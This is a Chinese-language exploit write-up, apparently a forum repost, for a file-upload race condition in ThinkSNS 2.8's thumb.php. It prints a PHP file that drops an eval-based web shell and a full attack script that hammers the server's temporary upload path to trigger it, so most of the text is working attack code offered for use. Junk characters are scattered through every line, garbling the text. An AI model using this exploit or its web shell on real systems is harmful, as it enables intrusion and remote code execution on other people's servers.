漏洞版本
; i& g9 e# R* h存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
! [3 s" G) {) |& |7 Z8 A漏洞文件4 x1 V- I6 z" }6 v2 n
存在漏洞的文件为:thumb.php
' z( L+ V6 l6 E( [作者:韦鲲鹏. t- T) ~1 A7 h8 Y
1、 准备如下PHP文件并上传到服务器(自己的)。
' E: R) s1 l) L; C文件内容如下:
' M' K5 K4 ] R<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
8 V) {0 t! v# |2、 计算出临时的文件名:8 M1 {5 S( n ~* s& y v$ \
这里我们可以看文件的99行(刚刚是不是没注意呀!)。- ]4 e0 P/ k1 m `# v# u( Q6 x
: b$ W" q0 k% i# v5 Z3、 上传临时文件。& e; y+ ` f/ W6 s7 `, r& @ ?! v
4、 访问临时文件。7 U. i0 a7 X( w6 L+ Z2 s
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
0 u% j* y( ]% C1 q$ _Exploit文件内容如下:(这个我就不详细解释了)# m9 l3 S: t" @1 O8 b- r Y
<?php/ o9 _) b$ a) G- A; Y) u0 [
error_reporting(0);
7 i( H3 L7 Z6 H x2 ` e$ yset_time_limit(0);
/ K; p4 `" Y; a+ xini_set(“default_socket_timeout”, 5);
* N! C, m) k* Y* V6 t3 | v2 Rfunction http_send($host, $port, $headers) {1 z7 g L1 |" Y: y# p
$fp = fsockopen($host, $port);( d2 T9 R" ~+ d3 a# D
if (!$fp) die(‘Connection -> fail’);
4 V. ~" W' V* i& k: O" Nfputs($fp, $headers);
7 G/ ], V# z" M3 j8 w S, ]return $fp;: U" o4 v% V, T7 ]
}& K4 `2 N) w& x( N. f, c a0 [- m
function http_recv($fp) {
& i% V" h# q; u% m, U7 q3 [$ret=”";7 u$ d4 `3 j( ]3 K9 D9 Z% y+ ~
while (!feof($fp))
. {5 w* B4 t7 S/ J* ~1 v/ R" @5 _% D7 b/ f$ret.= fgets($fp, 1024);' e9 w% k3 D+ j5 D$ B
fclose($fp);
2 `8 z3 `8 g8 i! Treturn $ret;
% \4 S) U! U$ a; u$ x- e! s) l}
; A9 g" ?5 e" U1 ~& rprint “\n# ThinkSns Arbitrary File Upload #\n”;
2 D x. _7 I! z- K! R G0 W. _0 Uprint “# Discovered by 韦鲲鹏 #\n\n”;
+ W& v# N' h2 |3 T; C- i8 E% T' oif ($argc < 4) {) E5 ]! q! V8 l
print “Usage: php <host> <path> <romote_url>\n”;5 r' n+ u# M0 o+ w1 F$ {
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;+ C* y8 k2 E/ Y- m ~" Q
die();
N5 p3 g8 a1 K- x8 M2 m" ^}
: D" J: N7 m1 [, E' D1 M& M$host = $argv[1];9 i* _# a' [" r# i+ J/ b7 y
$path = $argv[2];4 A5 l0 T" N+ ]. g- [" `' \
$url = $argv[3];
9 S- \) g/ r; m" ]% `$ x$i=0;
9 C _7 D* _1 d) l( `0 i//上传数据包/ U! h; c+ ]5 f; e
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;: [" G7 _8 h. N( {8 O$ l
$headers_up .= “Host: “.$host.”\r\n”;5 D/ U4 O% k9 _0 v7 x2 W) F
$headers_up .= “Connection: close\r\n\r\n”;
: ]1 T- U# Y6 Z2 u. k$ M2 necho $headers_up;
" _6 [- t5 u' D% {. C0 e0 |//临时文件访问数据包# M0 w9 S6 B* l
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;# ^4 ]/ J/ g) Y' o1 I
$headers .= “Host: “.$host.”\r\n”;
% Q5 A0 U1 w+ H/ |" g- u' _$headers .= “Connection: close\r\n\r\n”;2 ` W2 ~7 Q1 @4 t
echo $headers;* u+ j* {- H" k5 I
while(++$i<10) {% f# F' @. o# E2 H
fclose(http_send($host, 80, $headers));
2 X9 J% [1 l: ?; e/ S' D* k" r}
4 v$ F3 W7 T+ [1 l# V* P6 A0 \( pfclose(http_send($host, 80, $headers_up));, Q p( i( o" `9 m3 M* G
while(++$i<50) {
+ T# i8 R% T% Gfclose(http_send($host, 80, $headers));
7 i" S L' v& r}0 E4 p. J" C; y% A/ O9 X! y
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
* u/ `4 S& k& s+ c; e8 w( k% c5 N$headers .= “Host: “.$host.”\r\n”;
. j. c0 z, `9 L0 b, r1 b0 c$headers .= “Connection: close\r\n\r\n”;) U" e# L. B u3 D; ]/ V
$res=http_recv(http_send($host, 80, $headers));
4 H( u: f. b: Q& o' tif(preg_match(‘/200 OK/’,$res)) {
" u* X) {1 ^7 P1 p; Dprint “Success!\n\n”;
# F0 l2 Q T- `0 u& D: z6 Y} else {
" }8 Z1 Z$ h% p# U7 j, ?print “Fail!\n\n”;
H$ ~# T; i$ {0 X j$ C}
r0 H* N4 O' o3 x?>) k. u, n. x5 Z! p% V1 X. E
|